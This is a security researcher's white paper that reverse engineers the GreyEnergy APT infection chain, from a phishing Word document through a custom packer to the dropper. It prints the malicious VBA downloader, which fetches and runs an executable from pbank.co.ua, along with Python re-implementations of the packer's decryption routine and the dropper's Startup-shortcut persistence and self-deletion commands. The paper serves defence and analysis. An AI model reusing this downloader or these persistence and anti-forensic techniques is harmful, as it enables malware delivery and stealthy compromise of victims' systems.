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1. Abstract

GreyEnergy is an Advanced Persistent Threat (APT) which is believed to have been targeting the energy 
sector in Ukraine and other Eastern European countries for the past several years. It was first reported by 
ESET, [1] who believes the malware is the successor to BlackEnergy, which brought down the power system 
supporting over 200,000 Ukrainians in December 2015.

Up to now, GreyEnergy modules and payloads that specifically target industrial control systems (ICS) have not 
been identified. Since Advanced Persistent Threats that ultimately target ICS are often initiated with a 
reconnaissance phase on IT systems, and because of the trend of rapidly increasing convergence between IT 
and OT systems, it is valuable to understand initial infections. Furthermore, GreyEnergy has the potential to 
impact critical sectors beyond industrial infrastructure, such as the financial services sector, making 
understanding it important.

I therefore decided to study the infection components and reverse engineered the GreyEnergy phishing attack 
that sent a malicious Microsoft Word document (Maldoc) to targeted organizations. This paper provides a 
comprehensive analysis of how the malware works, from the moment someone receives the phishing email, 
until the malware (backdoor) is installed in their system. It is a more comprehensive analysis than the blog 
article I published on this topic in November 2018. [2]

Using multiple techniques, I investigated the three components of infection, the malicious Word document, the 
custom packer, and the final dropper. My deepest analysis was done on the packer, an executable that 
decrypts and decompresses another executable inside itself. The packer also uses more than a dozen anti-
analysis techniques to make it very difficult to understand. This paper details the logic, methods and tools I 
used to dissect the packer, and reveal the next stage of the malware attack – the dropper executable.

Having completed my analysis, it’s evident that the GreyEnergy packer is robust and significantly slows down 
the reverse engineering process. The techniques used are not new, but both the tools and the tactics 
employed were wisely selected. The threat actors’ broad use of anti-forensic techniques underlines their 
attempt to be stealthy and ensure that the infection would go unnoticed. 

Given how well the malware disguises itself once it infects a system, the best way for industrial organizations 
to protect themselves from the GreyEnergy APT is to train employees about the dangers of email phishing 
campaigns, including how to recognize malicious emails and attachments. In addition, critical infrastructure 
networks should always be monitored with dedicated cyber security systems to proactively detect any threats 
present on the network.

As a direct outcome of this analysis, I developed tools to help analysts dissect this piece of malware. The 
GreyEnergy Yara Module, [3,4] is high-performing code for compiling with the Yara engine. It adds a new 
keyword that determines whether a file processed by Yara is the GreyEnergy packer or not.

This tool, combined with the previously published GreyEnergy Unpacker (a Python script that automatically 
unpacks both the dropper and the backdoor, extracting them onto a disk), saves other security analysts the 
reverse engineering work explained in this paper. 

I hope that these tools, along with my findings, facilitate further GreyEnergy analysis and help the security 
community better defend critical infrastructure systems in the future.
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2. GreyEnergy High-Level Flow

GreyEnergy uses a common infection method, phishing emails with infected documents. However, the 
malware’s code is anything but common – it is well written, smartly put together and designed to defeat 
detection by cyber security products. Figure 1 shows the high-level flow of the malware.

Figure 1 - The GreyEnergy malware components and high-level flow, from maldoc to backdoor

The engineering techniques used to generate this flow are described in detail in this research paper.
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3. Stage 0 - Malicious Word Document

The attack starts when someone receives a malicious Word Document in their email inbox (SHA-1 
177AF8F6E8D6F4952D13F88CDF1887CB7220A645).

The document is written in Ukrainian, and at first glance looks very suspicious. Not only are unusual images 
present, but a security warning is clearly shown at the top of the page, for the presence of macros.

Figure 2 - When the malicious Word document is first opened, this is what it looks like.

Scrolling down, the reader is presented with a fake interactive form. At this point the person continues to see 
the Security Warning at the top of the page, but they also see red text that advises them to enable the macros, 
i.e. click on the “Enable Content” button in the warning.

This is a clear attempt to trick the person into executing the malicious code. 
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Figure 3 - The red warning at the top of the page encourages viewers to interact with the form.

Figure 4 - Translated into English, the red warning text encourages viewers to enable macro execution.
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Now let’s dive into a technical analysis to understand how this document works.

The first step is to start FakeNet-NG [5] in order to capture all the network traffic generated when the document 
is opened. GreyEnergy then tries to load a remote image; this happens even before enabling the macros.

In fact, the macros are disabled, and no code can be executed. The most obvious purpose of this behavior is 
to keep track of how many users, as a minimal metric of success, opened the document.

Figure 5 - Shown above is part of the network traffic generated when the maldoc is opened.

The box below shows the HTTP GET request performed automatically by the malicious document.

GET /img/rKPGshUCwICOdqe1P8Ig5odmykCedtG2zar.png HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; 
Trident/7.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 16)
Accept-Encoding: gzip, deflate
Host: pbank.co.ua
Connection: Keep-Alive

The contacted domain is pbank.co.ua. A quick investigation reveals that co.ua is a third-party domain 
hosting service which allows users to create their own web space. 

VirusTotal (https://www.virustotal.com/#/domain/co.ua) provides additional information about the number of 
different domains observed on it.

3.1 Tracking image

https://www.virustotal.com/#/domain/co.ua
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Figure 6 - Multiple third-level domains are observed on the domain co.ua.
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The Word document is a ZIP archive which can be decompressed in order to navigate its content. After 
decompression, (e.g., using 7zip utility [6]), its directory tree is revealed.

Figure 7 - After decompression, the directory structure of the Word document is disclosed.

After decompression, it’s possible to locate where the GET request originated, just from searching for the 
contacted domain pbank:

7z x maldoc.doc
cd maldoc
grep -ril "pbank" *
  word/_rels/document.xml.rels

3.2 Dissecting the Document
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Opening the file word/_rels/document.xml.rels with a text editor shows the XML node requesting the 
external resource. Note that Microsoft Word opening this remote resource is an expected and licit behavior, 
and does not require enabling the macros in the document.

Now that the tracking capability has been covered, it’s time to move on the real malicious code. It is contained 
compressed inside the file word/vbaProject.bin (visible as second to last in Figure 7). 
However, the code can be easily decompressed and extracted using the great tool oledump, [7] as shown below:

C:\oledump_V0_0_38>python oledump.py maldoc.doc
A: word/vbaProject.bin
 A1:       513 'PROJECT'
 A2:        41 'PROJECTwm'
 A3: M   15178 'VBA/ThisDocument'
 A4:      3940 'VBA/_VBA_PROJECT'
 A5:      3656 'VBA/__SRP_0'
 A6:       655 'VBA/__SRP_1'
 A7:      5220 'VBA/__SRP_2'
 A8:       939 'VBA/__SRP_3'
 A9:       782 'VBA/dir'
B: word/activeX/activeX13.bin
 B1:       128 '\x01CompObj'
 B2:        92 'contents'
 
C:\oledump_V0_0_38>python oledump.py -s A3 -v -e maldoc.doc
<cut>
Function HashCheck()
    On Error Resume Next
    Set s = CreateObject(B64Dec("d3NjcmlwdC5zaGVsbA=="))
    Set h = CreateObject(B64Dec("bXN4bWwyLnhtbGh0dHA="))
    p = s.ExpandEnvironmentStrings("%temp%") & B64Dec("XFRWVU5TUzMuZXhl")
    h.Open "get", B64Dec("aHR0cDovL3BiYW5rLmNvLnVhL2Zhdmljb24uaWNv"), False
    h.send

    With CreateObject(B64Dec("YWRvZGIuc3RyZWFt"))
         .Type = 1
         .Open
         .Write h.responsebody
         .savetofile p, 2
         .Close
    End With

    s.Run p
End Function

Sub Test()
    Call HashCheck
End Sub
<cut>

3.3 Malicious macro
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Private Sub Document_Open()
<cut>
  Call Test
End Sub

<cut>

Part of the output has been removed in order to focus on the important parts of the code. 

The function Document_Open() is automatically executed once the user clicks on the button “Enable 
Content”. It calls the function Test() and it, in turn, calls HashCheck() which contains the malicious code. 

The HashCheck() function is a common downloader found in most malicious macros. Its main purpose is to 
download a malware component remotely, storing it inside the system and finally executing it. 

The attacker tried to obfuscate the strings using the Base64 encoding, however, that encoding system can be 
easily reversed. The main purpose was not to protect the strings, but rather avoid pattern-based detection 
performed by cyber security products. The following code snap shows the downloader’s decoded strings:

Function HashCheck()
    On Error Resume Next
    ' The object "wscript.shell" provides access to OS Shell methods
    Set s = CreateObject("wscript.shell")

    ' The object "msxml2.xmlhttp" allows to perform HTTP requests
    Set h = CreateObject("msxml2.xmlhttp")

    ' Create the path %temp%\TVUNSS3.exe used to drop the 
    ' malicious component inside the filesystem
    p = s.ExpandEnvironmentStrings("%temp%") & B64Dec("\TVUNSS3.exe")

    ' Send a HTTP GET request to download the malicious component
    h.Open "get", B64Dec("http://pbank.co.ua/favicon.ico"), False
    h.send

    ' Use the object "adodb.stream" to save the downloaded file inside
    ' the filesystem using the path created previously and stored in the
    ' variable called "p"
    With CreateObject("adodb.stream")
         .Type = 1
         .Open
         .Write h.responsebody
         .savetofile p, 2
         .Close
    End With

    ' Execute the downloaded component
    s.Run p
End Function
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The macro downloads a packed dropper (SHA1 51309371673ACD310F327A10476F707EB914E255) 
designed to implant a persistent backdoor inside the system. 

The executables of the backdoor and dropper are contained inside the packer itself, encrypted and 
compressed with a custom algorithm.

4. GreyEnergy Stage 1 – Packer

The packer binary (SHA-1 51309371673ACD310F327A10476F707EB914E255) downloaded by the Word 
document is a C++ 32-bit Windows executable compiled on 2012-01-17 03:24:07 (in accordance with the PE 
header).

The executable is not signed or protected using any known packer but contains a massive amount of anti-
analysis techniques spread throughout the code, which are described below. The PE header and the sections 
do not contain anything indicating anomalies or packed code.

Figure 8 - No suspicious indicators are found in the executable’s section.

What is a packer? It’s an executable that encrypts and compresses another executable inside it, implementing 
varied anti-analysis techniques to make it very difficult to investigate and understand.  Packers are legitimately 
used to protect code that is the intellectual property of a person or company. In this case, however, the packer 
is used by the threat actor to hide the malware. It uses a lot of techniques that make it hard for the security 
analyst to identify the true malicious code.

How do you recognize a packer? Usually a packer has the following characteristics and capabilities. It:

 Unpacks the original executable into memory
 Resolves imports of the original executable
 Relocates the binary
 Transfers the execution to the original entry point
 Contains few imports
 Includes specific packer sections (like UPX0)
 Involves abnormal sections sizes
 Uses anti-analysis techniques, largely involving:

o anti-debugging
o anti-VM
o junk code
o so much more

Let’s go deeper into the analysis to understand what characteristics flag the executable as a packer.



13

Observing the file closely, I noticed that the executable is carrying some data encrypted at the end of itself 
(overlay), starting at the raw offset 0xD800 (SHA-1 overlay data 
BD67AE6C9C4C5DEE10FD8E889133427BF42D0580).

The first assumption, confirmed during the analysis, is that the data appended at the end of the file is an 
additional component that is decrypted somehow during run-time. This is not necessarily a malicious indicator, 
because several Windows-based installers use overlays to store data to be installed inside a system. But it 
could be a piece of the puzzle.

Figure 9 - Shown above is data not present in the PE header that is appended to the end of the file.

4.1. Overlay data
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Opening the dropper in IDA Pro, [8] it’s immediately evident that the executable has been compiled using 
several anti-analysis techniques like junk code, anti-forensics, overlapping instructions and a massive use of 
JMPs. It could be an indicator that the analyzed file is a packer or, in general, is code that the developer wants 
to protect.
That’s not enough evidence yet, though, that there is malicious code inside. 

Figure 10 - This sample shows junk code, overlapping instructions and widespread use of JMPs.

The next sections explain the anti-analysis techniques used in the sample under investigation.

Junk code is a basic technique of code obfuscation which adds unnecessary code that has no impact on the 
original code. Its only purpose is to confuse the reverse engineer. 

Figure 10 shows a massive amount of junk code amongst the original instructions needed by the program. 
Moreover, the instruction at the offset 0x407CC4 overwrites the value just used in the register ESI, which 
means the junk code generator could support the capability of register overwriting as an anti-forensic 
technique. 

This technique prevents information about the internal status of execution from leaking, in case the malware 
analyst dumps the memory during execution as part of their investigation.

4.2. Static analysis

4.3. Junk code
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Figure 11 -  The malware instructions include a massive amount of junk code.

Although this technique could be effective in slowing down the analysis, it comes with some important 
drawbacks. The most important one is that adding new instructions for the CPU to execute could lead to 
performance degradation. Additionally, it could be a significant problem in scenarios where the execution time 
is important.

Another method the GreyEnergy threat actors use in the packer to hide the functionality of their code is 
overlapping instructions. There are valid uses of this technique, such as for the Intel x86 architecture, where 
instructions can be of variable length. (Other microprocessors, such as the Sun SPARC, use a fixed length 
architecture where each instruction occupies 4 bytes and is properly aligned.)

With the Intel x86, each machine instruction consists of an opcode, which defines the type of instruction to 
execute, and an optional list of operands. Operands can be registers, immediate values, or memory locations, 
and all of them take a different number of bytes to encode. Thus, the same sequence of bytes may be 
interpreted by the processor as completely different instructions, depending on the exact byte in which 
execution starts.

Indeed, the same bytes may be executed multiple times, with each occurrence interpreted as a different 
instruction. This allows programmers to construct machine code that, as a static listing in assembly language, 
is hard for humans to understand.

Figure 12 - The disassembler has been tricked to show an incorrect jump destination.

The GreyEnergy malware uses a JMP instruction to mislead the reverse engineering analysis, and it works like 
overlapping instructions. For example, the JMP instruction highlighted in Figure 12 represents a jump towards 
the offset 0x4050A4. The +1 at the end of the JMP instruction suggests that the right destination is obtained 
by adding one.

However, the disassembly tool is tricked to jump to 0x4050A3, which is a valid address. The analyst clicking 
on the yellow label will land at the code listed in Figure 13.

4.4. Overlapping instructions
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Figure 13 - The disassembler is following the wrong execution flow!

The disassembler program does indeed jump to instruction 0x4050A3, which contains valid instructions, but 
not the same as those followed by the CPU during real execution.

An experienced analyst should immediately recognize that the instructions indicate something weird. The 
analyst can manually fix this behavior, forcing the disassembler (IDA Pro) to ignore the code at 0x4050A3, by 
using its capability to set data as “Undefined”.

Figure 14 - The analyst can force the dissembler to ignore the code at address 0x4050A3 by marking it as “Undefined”.

Soon after the code has been set as undefined (Figure 14 and Figure 15) it is clear that the opcode 0x10 has 
instructed the disassembler to show the instruction adc. The right instruction, as partially reported by the 
disassembler previously in Figure 15, starts from the opcode 0x0B8 located, at the offset 0x4050A4.
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Figure 15 - Marking the code at address 0x4050A3 as “undefined” reveals the opcode involved in the misleading 
instruction.

Figure 16 - Step 2 for the human analyst is to mark the data at offset 0x4050A4 as “Code”.
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The figure below shows that now the disassembler is showing the right instructions.

Figure 17 - The disassembler is now evaluating the code of the instructions actually executed by the malware.

The code still looks strange though. In fact, there are two junk instructions (as described in the previous 
section) and then a jump to another piece of code quite distant from the current instruction.

A very effective technique used by the malware involves creating an execution flow that is almost completely 
based on the use of JMP instructions. It makes it very difficult to understand the algorithms since the original 
instructions are hidden amongst a massive amount of junk code and located randomly around the .text 
section. 

Reducing the disassembler’s font size, Figure 18 reveals how many JMP instructions are involved in a very 
small portion of code that would normally be sequential. Another important detail is that between every JMP 
code, there are just a couple of useful instructions and a lot of junk code – making the analysis even more 
challenging.

4.5. JMP-based execution code
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Figure 18 - A high number of JMP instructions are used in a very small portion of code.

In malware analysis the entropy calculation is very important because it provides an assessment of the file’s 
randomness. Measuring the code entropy is useful as an indicator of whether a sample has been encrypted, 
obfuscated or compressed somehow.

The most popular way to measure entropy is based on Shannon’s Formula, [9] where the binary entropy is 
computed using a scale from 0 to 8. Low entropy scores indicate a low chance that the binary is protected in 
some way.

Usually, normal executable files have an entropy around 5-6, packed files around 6.5, and encrypted ones are 
7 or more. This is not a rule, but an indicator that security experts use for determining the best approach for 
the first stage of malware analysis.

4.6. Entropy
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Using the entropy measurement against the GreyEnergy dropper was very useful as it provided an initial 
confirmation that the overlay data was encrypted. 

When it was applied to the overlay data, it indicated that I was looking at something heavily protected.

Figure 19 - The entropy score for the overlay data suggests it is encrypted.

Without an in-depth analysis, it’s impossible to know how the data is protected or whether the data itself is 
malicious. However, the security researcher is aware that the executable is probably going to access the 
overlay data. 

Additionally, this information can be used for selecting which APIs set the breakpoints. For example, if the 
malware parses the PE header to find the overlay offset, good candidates for breakpoints are the 
CreateFileW and GetFileSize APIs.

Even if a static analysis approach was feasible, I decided to focus on using a dynamic analysis approach, in 
order to speed up the investigation.

From this point forward, the information was obtained by debugging the malware with the excellent x64dbg. [10]

4.7. Dynamic analysis
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4.7.1. Hardcoded imports

The most important WinAPIs called by the packer are not contained in the PE import table, because the 
attacker decided to load them at runtime. The API names are pushed onto the stack using a mov instruction, 
without any kind of obfuscation technique.

Figure 20 - A mov instruction is used to push API names onto the stack.

Once the API’s name is loaded into memory, the malware needs to find where the related code is actually 
located in memory. As the libraries needed are already loaded in the process address space, the malware 
parses its PE header to access the export table and, subsequently, finds the right API address.
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Figure 21 - GreyEnergy parses the PE header to access the export table of kernel32.dll, which is loaded into memory.

Using this method, addresses for the following APIs are identified:
 CreateFileW
 GetFileSize
 LocalAlloc
 ReadFile
 CloseHandle

4.7.2. Anti-forensic technique: string overwrite

The packer implements a basic anti-forensic technique by overwriting all strings with zeros, after the strings 
have been loaded into memory.

The algorithm is simple and consists of overwriting all bytes of the string with a byte provided by the wipe 
function (fixed to 0x00 in the sample analyzed).
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Figure 22 - The wipe algorithm overwrites the string “GetFileSize” with 0x00s.

Thus far there are multiple indicators that strongly suggest that the binary is a packer:

 Apparently encrypted overlay
 Anti-analysis techniques
 APIs manually resolved by parsing the PE header
 Strings hardcoded inside the code and overwritten with 0x00s after use

4.7.3. Accessing the overlay

As suggested at the start of the analysis, the malware is now trying to access the data appended at the end of 
the file. In order to do that, it copies itself inside the memory with the purpose of parsing the PE header. It 
locates the exact offset where the overlay starts using the five APIs previously identified.

The first thing the malware needs to do is access itself using CreateFileW, which returns a handle to the 
opened file.

Figure 23 - The malware gets the handle 0xC8, which represents a link to itself on the disk.

The second thing required is the exact size of the executable, to know how much space to allocate in memory. 
The API GetFileSize is used to pass the size parameter of the file obtained earlier.
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The second parameter 0x00 passed is a pointer to the variable where the high-order doubleword of the file 
size is returned. In this case it was set to NULL, because the application did not require the high-order 
doubleword.

Figure 24 - The malware gets the size of its own executable.

Now that the malware has a handle to itself on the disk, and the exact size in bytes of the executable, it is 
ready to allocate space inside the memory for itself.

At this point there are strong indicators that what we are looking at is a packer, because of the overlay access 
and the widespread anti-analysis techniques used throughout the code. However, we could be looking at 
something like an installer stub accessing the overlay.

The API LocalAlloc allocates bytes on the heap, initializing them to 0x00 because the 
parameter LMEM_ZEROINIT (0x40) is used during the call. The function returns the address of the allocated 
memory in the register EAX, in this case it is 0x00526E68.

Figure 25 - Here the malware is allocating enough space in memory to store the hidden executable.
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At this point the suspected packer has the address in memory where it will store itself. The next step is to read 
the file from the disk and store it in the allocated memory space. To do that, the following important information 
is required:

 0xC8 → handle to the file to read
 0x00526E68 → address of the allocated memory
 0x1D000 → size of the file (amount of data to read)

Figure 26 - The data contained inside the executable on the disk is copied into memory.

The final step performed by the malware is to close the handle using the API CloseHandle. The handle 0xC8 
is released and is no longer usable.

Now that the malware has copied itself into memory, it needs to point at the overlay data somehow. In order to 
do that, it will manually parse the PE header, traveling through the sections. Before going ahead, let’s take a 
look at how the PE file is formed.
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The red box in the image below shows all the categories contained inside the header. Each of them contains 
several fields describing specific useful information like the entry point of the executable, the APIs called, the 
compilation timestamp, how the data is structured inside the file and so on.

The last part of the PE header is the section headers, which describes how the file’s sections are organized, 
including their sizes and offsets.

Figure 27 - Overview of the structure of the internal executable.

Accessing the last entry, representing the section called .rsrc, it’s possible to extract the offset start point 
and the section size. With this information, it’s possible to calculate the exact address where the section ends:

 0xD600 → Raw Address where the section is located
 0x200 → Raw Size of the section

At the bottom of the image, it shows the section ending with the common padding text PADDINGXX.

Doing a simple addition, 0xD600 + 0x200 = 0xD800, it’s possible to determine where the file ends and where 
the appended data starts.
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Let’s find out what’s present at that offset using a hex editor:

Figure 28 - Shown above is the end of the file, as described in the PE header + appended data.

There it is! The suspicious overlay data noticed at the beginning of the analysis starts exactly at the end of the 
.rsrc section. Using that strategy, the malware is going to parse the PE header, iterating over all the 
sections and performing the addition on the last section. When done, it obtains the right overlay offset.



28

4.7.4.Decryption algorithm

Starting from the offset 0xD800, the malware reads 40 bytes that will be used to initialize an array of 256 bytes 
through the following custom algorithm (re-implemented in Python):

def init_keymap(key):
      ikey = 0
      keysum = 0
      keymap = bytearray([i for i in range(256)])
      for idx in range(len(keymap)):
          keysum = (keysum + key[ikey] + keymap[idx]) % 256
          keymap[idx], keymap[keysum] = keymap[keysum], keymap[idx]
          ikey = (ikey + 1) % len(key)
      return keymap

The initialized array is required by the decryption algorithm because it is the secret key (from now on referred 
to as keymap) needed to decrypt the protected overlay data.

The decryption function uses the keymap internally, taking as its argument the output buffer. This provides the 
location for the decrypted data, and the length of the buffer.

Figure 29 - The location for the decrypted data and the length of the buffer are identified.
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The decryption algorithm is very simple and has been re-implemented with the following Python code:

def decrypt(cipher, keymap):
      ikey = 1
      keysum = 0
      for idx in range(len(cipher)):
          keysum = (keysum + keymap[ikey]) % 256
          keymap[ikey], keymap[keysum] = keymap[keysum], keymap[ikey]
          keymap_idx = (keymap[ikey] + keymap[keysum]) % 256
          cipher[idx] ^= keymap[keymap_idx]
          ikey = (ikey + 1) % 256
      return cipher

Looking at the beginning of the output buffer, it is immediately clear that the data contains an executable, 
based on the presence of the signature 0x4D5A. Looking closely, however, shows several unexpected bytes 
between the recognized patterns, indicating that the data has not been completely reconstructed yet.

Usually, the PE header contains several sequences of zeros, which are not present in the decrypted buffer, 
suggesting that it could be compressed somehow. 
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4.7.5. Decompression algorithm

This time my assumption is quickly confirmed, because after about ten instructions, there is a function with 
parameters from the offset of the decrypted data. The parameters indicate the function’s size and include a 
pointer to a new buffer (previously allocated). After this function’s execution, the new buffer contains a valid PE 
header, confirming that the data was compressed.
 

Figure 30 - The buffer containing the uncompressed binary is identified.

At this point it’s apparent that the high entropy score of the overlay is due to encrypted and compressed data.

4.7.6. The original entry point (OEP)

Next, the packer points to the uncompressed buffer, parses the PE header, and iterates all the sections again. 
The technique is very similar to the previous one and the goal is to access the appended data of the 
uncompressed executable.
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Accessing the overlay data reveals that it contains a second PE header, which is the real malicious 
component (backdoor) waiting to be installed inside the victim’s system.

Figure 31 - The flow executed by the packer includes decryption and decompression of the dropper and backdoor.

It’s now possible to identify two specific components from the unpacked data, the dropper and the backdoor.

The next task performed by the packer is to execute the dropper in-memory without storing it inside the 
filesystem. To achieve that goal, the following steps are taken by the binary:

 A new buffer is allocated in the packer’s virtual address space using the API VirtualAlloc. Then, 
all the sections of the dropper are copied inside it.

 All the imports contained inside the PE header are resolved using the 
APIs LoadLibrary and GetProcAddress.

 All the sections’ permissions are set in accordance with the PE header using the 
API VirtualProtect

 The dropper binary is relocated in accordance with the .reloc section
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Once all the steps are done, the dropper executable is correctly loaded into memory waiting to be 
executed. This is the final confirmation that the binary is a packer, because it meets all the primary 
characteristics of packers.

The packer extracts the entry point address (used to describe where the code starts inside the binary) from the 
PE header of the dropper and jumps to it using an unconditional instruction JMP. Once achieved, the 
execution flow migrates from the packer’s code to the dropper’s code.

It’s easy to notice, because the execution flow leaves the packer’s code section allocated at the offset 
0x0040100, and jumps to a completely different one, 0x0021964. This last offset was allocated by the OS 
using a VirtualAlloc API, so it could be different each time it’s executed.

Figure 32 - The execution flow jumps from the packer to the dropper code using the JMP instruction.
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5. Stage 2 – Dropper

The dropper is a very small piece of code whose purpose is to drop the real malware inside the victim’s 
system. A part of the dropper’s mission is to make the malware persistent, so it will survive an eventual system 
reboot. Luckily the dropper is not as protected against analysis as the packer was, so it is easier to follow the 
logic flow.

The malicious malware has probably been developed to execute only once, because the dropper checks if 
another process is running with a mutex using a unique name in the system. The name is obtained 
dynamically using the API GetCurrentHwProfileA, which uses the field szHwProfileGuid as the 
parameter opening the mutex. If it already exists, the process terminates itself.

Figure 33 - The dropper checks for the presence of a unique name, using the field szHwProfileGuid.

5.1. Single execution
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All the strings used by the dropper are encrypted and stored inside the section .rdata, which usually contains 
all the read-only data.

The algorithm to decrypt the strings is a simple XOR instruction. In this case though, every string has a specific 
4-byte XOR key that is declared at the beginning of the string itself. Even though a 4-byte key is used by the 
analyzed sample, the data structure appears to support a XOR key up to 8-bytes (the screenshot below shows 
0x00 repeated 4 times).

Figure 34 - The decryption of the strings uses a 4-byte XOR key, although the data structure supports up to an 8-byte key.

The XOR-based algorithm chosen to encrypt the strings is easy to break, but it does protect against string 
extraction analysis. If the suspicious strings were stored in cleartext, they could trigger alarms by pattern-
based security systems.

The dropper does not use the massive amount of anti-analysis techniques seen with the packer. However, the 
malware author implemented an in-line memory wipe algorithm in order to defeat common memory dumping 
analysis techniques. As observed with the packer, the memory is overwritten with the value 0x0 only once, but 
it was enough to effectively hide the malicious activity.

5.2. String encryption

5.3. Anti-forensic technique: memory wipe
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Once again, this is another indicator that the threat actors were highly motivated to keep their activities under 
the radar.

Figure 35 - The GreyEnergy dropper uses an in-line memory wipe algorithm in order to defeat common memory dumping 
analysis techniques.
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The dropper obtains the path to the Windows-based tool rundll32.exe dynamically, which is an indicator that 
the malicious component is going to execute a DLL file. The backdoor is dropped inside the 
directory %APPDATA%/Microsoft/ using a random GUID and the extension .db. Changing the file extension 
is a basic social engineering technique to trick the victim into thinking that the file is something harmless – 
while it actually contains malicious executable code.

Figure 36 - The malicious backdoor has the file extension .db, to trick the victim into thinking the file is harmless.

Soon after the malicious payload has been dropped inside the system, its “read the time” information is 
modified by the dropper. 

The new information is copied by the metadata obtained from the file C:\windows\system32\msvcrt.dll, 
as shown in Figure 37.

Figure 37 - “Read the time” information from the file msvcrt.dll.

5.4. Malware dropping
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The API SetFileTime is used to write the information inside the dropped file. In the machine involved with 
the analysis, the time information was set to the values shown below. However, the results will vary depending 
on the specific version of the file msvcrt.dll.

Created: Thursday, 12 April 2018, 01:35:01
Modified: Thursday, 12 April 2018, 01:35:01
Accessed: Friday, 2 November 2018, 16:35:33

In order to survive a system reboot, the dropper creates a link file with a blank name 
“%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\          .lnk” (10 space 
characters) pointing to the malicious file dropped in %APPDATA% using the following command:

C:\Windows\SysWOW64\rundll32.exe {4591E270-719A-4B01-A63C-C5B75CF04830}.db,#1

As the dropped backdoor {4591E270-719A-4B01-A63C-C5B75CF04830}.db is a DLL file, it needs a stub 
able to run its exported function. In order to do that, the dropper uses the system utility rundll32.exe to call the 
function #1 exported by the DLL.

Finally, the dropper is ready to execute the real piece of malware installed inside the victim’s system. 

The commands used to run the backdoor are the same as those used to ensure survival of a reboot:

C:\Windows\SysWOW64\rundll32.exe {4591E270-719A-4B01-A63C-C5B75CF04830}.db,#1

Once the backdoor is executed inside the system, the dropper does a final action to cleanup traces of the 
infection. It uses the API ShellExecuteW to execute the following command in the system’s shell:

%WINDIR%\system32\cmd.exe /c (ping localhost >> nul & del [packer_path] >> nul)

The most important part of the string above is the command del, which deletes the packer’s executable that 
started the execution flow described so far. The command ping sends 4 ICMP packets to the system’s 
loopback interface and seems to be a decoy to cover up the fact that the packer will be deleted from the 
filesystem.

The last API called is ExitProcess, which terminates the execution of the packer after the dropper’s code 
has been executed inside its address space.

5.5. Set persistence

5.6. Execute the installed backdoor
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6. GreyEnergy – A Stealthy Infection Requiring Proactive Defenses

Having completed my analysis, it’s evident that the GreyEnergy packer does an effective job of slowing down 
the reverse engineering process. The techniques used are not new, but both the tools and the tactics 
employed were carefully selected.

For example, the threat actor chose to implement custom algorithms that are not too difficult to defeat but are 
hard enough that they protect the malicious payload. Additionally, the broad use of anti-forensic techniques, 
such as the wiping of in-memory strings, underline the attacker’s attempt to stay hidden and have the infection 
go unnoticed.

To learn how the GreyEnergy attack proceeds post infection, refer to the initial, detailed ESET report. [1] Its 
capabilities include the ability to update its functionality by retrieving remote modules, the collection of 
extensive information about infected systems and the establishment of its own peer-to-peer network so that 
only a single node communicates externally.

While GreyEnergy is not known to include an ICS attack module right now, it could have one in the future. It 
could also target other critical sectors, such as financial services or telecommunications. Moreover, since 
several components of the GreyEnergy APT are now publicly available and detectable by security products, 
we can assume the threat actors have modified the malware in response.

Thus, industrial and other critical infrastructure organizations need to defend themselves from GreyEnergy. 
The best defense for the infection method described in this paper is to train employees about the dangers of 
email phishing campaigns, including how to recognize malicious emails and attachments. The importance of 
reporting every suspicious document to the security department should be emphasized.

I also recommend that your critical infrastructure networks be monitored with dedicated cyber security systems 
to proactively detect any threats present in the network. Rapid detection facilitates prevention, mitigates 
disruptions and protects against the theft of intellectual property.

As a direct outcome of this analysis, I developed tools to help analysts dissect this piece of malware. The 
GreyEnergy Yara Module, [3] is high-performing code for compiling with the Yara engine. It adds a new 
keyword that determines whether a file processed by Yara is the GreyEnergy packer or not.

This tool, combined with the previously published GreyEnergy Unpacker (a Python script that automatically 
unpacks both the dropper and the backdoor, extracting them onto a disk), saves other security analysts the 
reverse engineering work explained in this paper. 

I hope that these tools, along with my findings, facilitate further GreyEnergy analysis and help the security 
community better defend critical infrastructure systems in the future.

6.1. Free tools and findings: helping the security community defend against GreyEnergy
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7. Appendix – List of Analyzed Malware Components

ESET, in conjunction with its report, shared several malware components with the ICS security community. 
The following table shows the components that were used in the research for this paper.

Malware Samples

IOCs

Component SHA-1

Malicious Word document 177AF8F6E8D6F4952D13F88CDF1887CB7220A645

Dropper 51309371673ACD310F327A10476F707EB914E255

Encrypted overlay payload BD67AE6C9C4C5DEE10FD8E889133427BF42D0580

Component Malicious URLs

Malicious Word document http://pbank.co.ua/img/rKPGshUCwICOdqe1P8Ig5odmykCedtG2zar.png

Malicious Word document http://pbank.co.ua/favicon.ico
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